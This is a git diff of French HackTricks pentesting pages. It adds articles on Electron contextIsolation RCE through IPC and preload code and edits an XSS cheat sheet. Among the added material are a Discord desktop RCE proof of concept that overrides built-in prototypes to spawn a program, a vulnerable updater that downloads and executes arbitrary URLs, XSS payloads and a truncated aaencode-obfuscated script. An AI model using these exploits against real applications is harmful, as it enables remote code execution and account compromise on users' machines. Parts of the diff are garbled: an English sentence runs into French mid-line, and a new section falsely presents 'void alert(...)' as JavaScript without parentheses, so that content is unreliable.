+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
+ +## Exemple 1 + +Exemple provenant de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41) + +L'écouteur d'événement "exit" est toujours défini par le code interne lorsque le chargement de la page est démarré. Cet événement est émis juste avant la navigation : +```javascript +process.on('exit', function (){ +for (let p in cachedArchives) { +if (!hasProp.call(cachedArchives, p)) continue +cachedArchives[p].destroy() +} +}) +``` +{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %} + +![](<../../../.gitbook/assets/image (664).png>) + +https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- N'existe plus + +Ensuite, cela se passe ici : + +![](<../../../.gitbook/assets/image (647).png>) + +Où "self" est l'objet process de Node : + +![](<../../../.gitbook/assets/image (652) (1).png>) + +L'objet process a une référence à la fonction "require" : +``` +process.mainModule.require +``` +Comme le handler.call va recevoir l'objet process, nous pouvons le remplacer pour exécuter du code arbitraire : +```html + +``` +## Exemple 2 + +Obtenez l'**objet require à partir de la pollution du prototype**. Depuis [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81) + +Fuite : + +
+ +Exploitation : + +
+ +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au référentiel [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md new file mode 100644 index 000000000..609dd9214 --- /dev/null +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md @@ -0,0 +1,116 @@ +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! + +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) + +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) + +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** + +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
+ + +Si le script de préchargement expose un point de terminaison IPC à partir du fichier main.js, le processus de rendu pourra y accéder et, s'il est vulnérable, une RCE pourrait être possible. + +**Tous ces exemples ont été tirés d'ici** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo) + +# Exemple 1 + +Vérifiez comment `main.js` écoute sur `getUpdate` et **télécharge et exécute n'importe quelle URL** passée.\ +Vérifiez également comment `preload.js` **expose tout événement IPC** depuis le main. +```javascript +// Part of code of main.js +ipcMain.on('getUpdate', (event, url) => { +console.log('getUpdate: ' + url) +mainWindow.webContents.downloadURL(url) +mainWindow.download_url = url +}); + +mainWindow.webContents.session.on('will-download', (event, item, webContents) => { +console.log('downloads path=' + app.getPath('downloads')) +console.log('mainWindow.download_url=' + mainWindow.download_url); +url_parts = mainWindow.download_url.split('/') +filename = url_parts[url_parts.length-1] +mainWindow.downloadPath = app.getPath('downloads') + '/' + filename +console.log('downloadPath=' + mainWindow.downloadPath) +// Set the save path, making Electron not to prompt a save dialog. +item.setSavePath(mainWindow.downloadPath) + +item.on('updated', (event, state) => { +if (state === 'interrupted') { +console.log('Download is interrupted but can be resumed') +} +else if (state === 'progressing') { +if (item.isPaused()) console.log('Download is paused') +else console.log(`Received bytes: ${item.getReceivedBytes()}`) +} +}) + +item.once('done', (event, state) => { +if (state === 'completed') { +console.log('Download successful, running update') +fs.chmodSync(mainWindow.downloadPath, 0755); +var child = require('child_process').execFile; +child(mainWindow.downloadPath, function(err, data) { +if (err) { console.error(err); return; } +console.log(data.toString()); +}); +} +else console.log(`Download failed: ${state}`) +}) +}) +``` + +```javascript +// Part of code of preload.js +window.electronSend = (event, data) => { +ipcRenderer.send(event, data); +}; +``` +Exploitation : +```html + +``` +# Exemple 2 + +Si le script de préchargement expose directement au rendu une manière d'appeler shell.openExternal, il est possible d'obtenir une RCE. +```javascript +// Part of preload.js code +window.electronOpenInBrowser = (url) => { +shell.openExternal(url); +}; +``` +# Exemple 3 + +Si le script de préchargement expose des moyens de communiquer complètement avec le processus principal, une XSS pourra envoyer n'importe quel événement. L'impact de cela dépend de ce que le processus principal expose en termes d'IPC. +```javascript +window.electronListen = (event, cb) => { +ipcRenderer.on(event, cb); +}; + +window.electronSend = (event, data) => { +ipcRenderer.send(event, data); +}; +``` +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! + +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) + +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) + +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** + +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md new file mode 100644 index 000000000..c15cf8dff --- /dev/null +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -0,0 +1,108 @@ +# Electron contextIsolation RCE via preload code + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! + +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) + +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) + +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** + +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
+ +## Exemple 1 + +Exemple provenant de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30) + +Ce code ouvre les liens http(s) avec le navigateur par défaut : + +![](<../../../.gitbook/assets/image (375) (1) (1).png>) + +Quelque chose comme `file:///C:/Windows/systemd32/calc.exe` pourrait être utilisé pour exécuter une calculatrice, mais `SAFE_PROTOCOLS.indexOf` l'en empêche. + +Par conséquent, un attaquant pourrait injecter ce code JS via une XSS ou une navigation de page arbitraire : +```html + +``` +Comme l'appel à `SAFE_PROTOCOLS.indexOf` renverra toujours 1337, l'attaquant peut contourner la protection et exécuter la calculatrice. Exploit final : +```html + +CLICK +``` +Consultez les diapositives originales pour d'autres façons d'exécuter des programmes sans demander la permission. + +Apparemment, une autre façon de charger et d'exécuter du code est d'accéder à quelque chose comme `file://127.0.0.1/electron/rce.jar` + +## Exemple 2: RCE de l'application Discord + +Exemple provenant de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) + +Lors de la vérification des scripts de préchargement, j'ai découvert que Discord expose la fonction, qui permet d'appeler certains modules autorisés via `DiscordNative.nativeModules.requireModule('NOM-DU-MODULE')`, dans la page web.\ +Ici, je ne pouvais pas utiliser directement des modules pouvant être utilisés pour RCE, tels que le module _child\_process_, mais j'ai **trouvé un code où RCE peut être réalisé en remplaçant les méthodes JavaScript intégrées** et en interférant avec l'exécution du module exposé. + +Voici la preuve de concept. J'ai pu confirmer que l'application **calc** est **affichée** lorsque j'appelle la fonction `getGPUDriverVersions` qui est définie dans le module appelé "_discord\_utils_" depuis devTools, tout en **remplaçant `RegExp.prototype.test` et `Array.prototype.join`**. +```javascript +RegExp.prototype.test=function(){ +return false; +} +Array.prototype.join=function(){ +return "calc"; +} +DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); +``` +La fonction `getGPUDriverVersions` tente d'exécuter le programme en utilisant la bibliothèque "_execa_", comme suit : +```javascript +module.exports.getGPUDriverVersions = async () => { +if (process.platform !== 'win32') { +return {}; +} + +const result = {}; +const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; + +try { +result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); +} catch (e) { +result.nvidia = {error: e.toString()}; +} + +return result; +}; +``` +Généralement, _execa_ essaie d'exécuter "_nvidia-smi.exe_", qui est spécifié dans la variable `nvidiaSmiPath`. Cependant, en raison de la substitution de `RegExp.prototype.test` et `Array.prototype.join`, **l'argument est remplacé par "**_**calc**_**" dans le traitement interne de \_execa**\_**. + +Plus précisément, l'argument est remplacé en modifiant les deux parties suivantes. + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55) + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! + +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) + +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) + +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** + +- **Partagez vos astuces de piratage en soumettant des PR au référentiel [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index 92329c173..16f39bcc2 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -127,9 +127,9 @@ alert(1); test.cookie('leo','INJECTION') test['cookie','injection'] ``` -Pour plus d'informations sur le Hoisting Javascript, consultez: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) +Pour plus d'informations sur le hoisting JavaScript, consultez: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) -### Fonction Javascript +### Fonction JavaScript Plusieurs pages web ont des points d'extrémité qui **acceptent en tant que paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut trouver est quelque chose comme : `?callback=callbackFunc`. @@ -139,7 +139,7 @@ Une bonne façon de savoir si quelque chose donné directement par l'utilisateur Dans le cas où cela est vulnérable, vous pourriez être en mesure de **déclencher une alerte** en envoyant simplement la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points d'extrémité **valident le contenu** pour n'autoriser que des lettres, des chiffres, des points et des traits de soulignement (**`[\w\._]`**). -Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM** : +Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément du DOM** : ![](<../../.gitbook/assets/image (662).png>) @@ -155,7 +155,7 @@ Vous pouvez également essayer de **déclencher des fonctions Javascript** direc Cependant, généralement les points d'extrémité exécutant la fonction indiquée sont des points d'extrémité sans beaucoup de DOM intéressant, **d'autres pages dans la même origine** auront un **DOM plus intéressant** pour effectuer davantage d'actions. -Par conséquent, afin de **exploiter cette vulnérabilité dans un DOM différent**, l'exploitation de la **Same Origin Method Execution (SOME)** a été développée : +Par conséquent, afin de **exploiter cette vulnérabilité dans un DOM différent**, l'exploitation de la méthode d'exécution de la même origine (SOME) a été développée : {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) @@ -178,8 +178,8 @@ Quelques **exemples** : [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} -{% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %} -[xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) +{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} +[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## Contournement du WAF en encodant une image @@ -190,7 +190,7 @@ Quelques **exemples** : Lorsque votre entrée est réfléchie **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez utiliser `<` pour créer de nouvelles balises : Essayez simplement de **réfléchir** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **réfléchi sans modifications**. **Seulement dans le dernier cas, vous pourrez exploiter ce cas**.\ Pour ces cas, gardez également à l'esprit [**l'injection de modèle côté client**](../client-side-template-injection-csti.md)**.**\ -_**Note : Un commentaire HTML peut être fermé en utilisant**** ****`-->`**** ****ou**** ****`--!>`**_ +_**Remarque : Un commentaire HTML peut être fermé en utilisant**** ****`-->`**** ****ou**** ****`--!>`**_ Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pouvez utiliser des charges utiles telles que : ```javascript @@ -213,7 +213,7 @@ Si vous n'avez trouvé aucune balise HTML valide, vous pouvez essayer de **crée ``` ### Contournement de liste noire -Si une sorte de liste noire est utilisée, vous pouvez essayer de la contourner avec quelques astuces stupides : +Si une sorte de liste noire est utilisée, vous pouvez essayer de la contourner avec quelques astuces ridicules : ```javascript //Random capitalization ``` -In this case, the JavaScript code will execute correctly and display an alert box with the value of the `name` variable. +In this case, the JavaScript code is injected within the ``, il est possible d'insérer du code JavaScript sans utiliser de parenthèses. - -Voici un exemple de code JavaScript sans parenthèses : +Pour cela, vous pouvez utiliser l'opérateur `void` suivi d'un espace et du code que vous souhaitez exécuter. Par exemple : ```javascript - +void alert("Hello, world!"); ``` -Dans cet exemple, le code JavaScript `alert("XSS")` est stocké dans la variable `payload` et est ensuite exécuté à l'aide de la fonction `eval()`. Cela permet d'afficher une boîte de dialogue avec le message "XSS" sur la page web. +Dans cet exemple, la fonction `alert` est appelée sans utiliser de parenthèses. L'opérateur `void` est utilisé pour ignorer la valeur de retour de la fonction. -Il est important de noter que l'utilisation de cette technique peut être dangereuse et illégale si elle est utilisée sans autorisation appropriée. Elle est souvent utilisée par les professionnels de la sécurité lors de tests d'intrusion pour identifier les vulnérabilités potentielles dans les applications web. +Il est important de noter que cette technique ne fonctionne que pour les expressions qui ne renvoient pas de valeur. Si vous essayez d'utiliser cette astuce avec une expression qui renvoie une valeur, vous obtiendrez une erreur. + +Utiliser JavaScript sans parenthèses peut être utile dans certaines situations, mais il est important de l'utiliser avec prudence et de comprendre les implications de cette technique. ````javascript // By setting location window.location='javascript:alert\x281\x29' @@ -994,7 +987,7 @@ top[8680439..toString(30)](1) ```` ## **Vulnérabilités DOM** -Il existe du **code JS** qui utilise des **données contrôlées par un attaquant** de manière non sécurisée, comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.\ +Il existe du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant**, comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.\ **En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée vers cette page**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} @@ -1016,7 +1009,7 @@ Vous pouvez vérifier si les **valeurs réfléchies** sont **normalisées en Uni ``` ### Contournement de Ruby-On-Rails -En raison de la **vulnérabilité de l'attribution de masse de RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\ +En raison de la **vulnérabilité de l'attribution de masse de RoR**, des guillemets sont insérés dans le HTML, ce qui permet de contourner la restriction des guillemets et d'ajouter des champs supplémentaires (onfocus) à l'intérieur de la balise.\ Par exemple, si vous envoyez la charge utile suivante ([à partir de ce rapport](https://hackerone.com/reports/709336)): ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa @@ -1063,7 +1056,7 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS avec injection d'en-tête dans une réponse 302 -Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pouvez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Cela n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut de la réponse HTTP est 302, donc une charge utile de script entre sites est inutile. +Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pouvez essayer de **faire exécuter du code JavaScript arbitraire par le navigateur**. Cela n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut de la réponse HTTP est 302, donc une charge utile de cross-site scripting est inutile. Dans [**ce rapport**](https://www.gremwell.com/firefox-xss-302) et [**celui-ci**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), vous pouvez lire comment tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'entre eux permet au navigateur d'inspecter et d'exécuter la charge utile XSS à l'intérieur du corps.\ Protocoles connus : `mailto://`, `//x:1/`, `ws://`, `wss://`, en-tête Location vide, `resource://`. @@ -1078,7 +1071,7 @@ Si vous êtes en mesure d'indiquer la **fonction de rappel** que JavaScript va * > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled. -Les seuls **types de contenu** qui permettront à Chrome d'exécuter un **script chargé** sont ceux présents dans la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) +Les seuls **types de contenu** qui permettront à Chrome d'exécuter un script chargé sont ceux présents dans la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) ```c const char* const kSupportedJavascriptTypes[] = { "application/ecmascript", @@ -1167,11 +1160,11 @@ Ce comportement a été utilisé dans [**ce compte rendu**](https://github.com/z * application/rss+xml (off) * application/atom+xml (off) -Dans d'autres navigateurs, d'autres **`Types de contenu`** peuvent être utilisés pour exécuter du JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) +Dans d'autres navigateurs, d'autres **`Types de contenu`** peuvent être utilisés pour exécuter du code JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### Type de contenu xml -Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un espace de noms et d'exécuter du JS arbitraire : +Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un espace de noms et d'exécuter du code JS arbitraire : ```xml hello @@ -1308,45 +1301,11 @@ trigger() ```javascript //JSFuck - + ```javascript //aaencode -# XSS (Cross-Site Scripting) - -Le XSS (Cross-Site Scripting) est une vulnérabilité courante dans les applications Web qui permet à un attaquant d'injecter du code malveillant dans les pages Web consultées par les utilisateurs. Cela peut entraîner des attaques telles que le vol de sessions, le vol de cookies et la redirection vers des sites Web malveillants. - -## Types de XSS - -Il existe trois types de XSS : - -1. XSS stocké : le code malveillant est stocké sur le serveur et est renvoyé à chaque fois que la page est consultée. -2. XSS réfléchi : le code malveillant est inclus dans un lien ou un formulaire et est renvoyé à la victime lorsqu'elle clique sur le lien ou soumet le formulaire. -3. XSS basé sur le DOM : le code malveillant est injecté dans le DOM (Document Object Model) de la page Web et est exécuté côté client. - -## Prévention du XSS - -Pour prévenir les attaques XSS, il est important de mettre en place les mesures suivantes : - -1. Échapper les caractères spéciaux : les données provenant des utilisateurs doivent être correctement échappées pour éviter l'injection de code malveillant. -2. Valider et filtrer les entrées utilisateur : toutes les entrées utilisateur doivent être validées et filtrées pour s'assurer qu'elles ne contiennent pas de code malveillant. -3. Utiliser des bibliothèques de sécurité : utilisez des bibliothèques de sécurité telles que OWASP ESAPI pour aider à prévenir les attaques XSS. -4. Mettre en place des en-têtes de sécurité : configurez les en-têtes de sécurité HTTP tels que Content-Security-Policy (CSP) pour limiter les sources de contenu autorisées sur une page Web. - -## Exemple de code XSS - -Voici un exemple de code XSS : - -```javascript - -``` - -Ce code injecte un script malveillant qui affiche une alerte sur la page Web. Les attaquants peuvent utiliser des techniques plus avancées pour voler des informations sensibles ou effectuer des actions malveillantes au nom de l'utilisateur. - -Il est essentiel de mettre en place des mesures de sécurité appropriées pour prévenir les attaques XSS et protéger les utilisateurs de votre application Web. +゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ 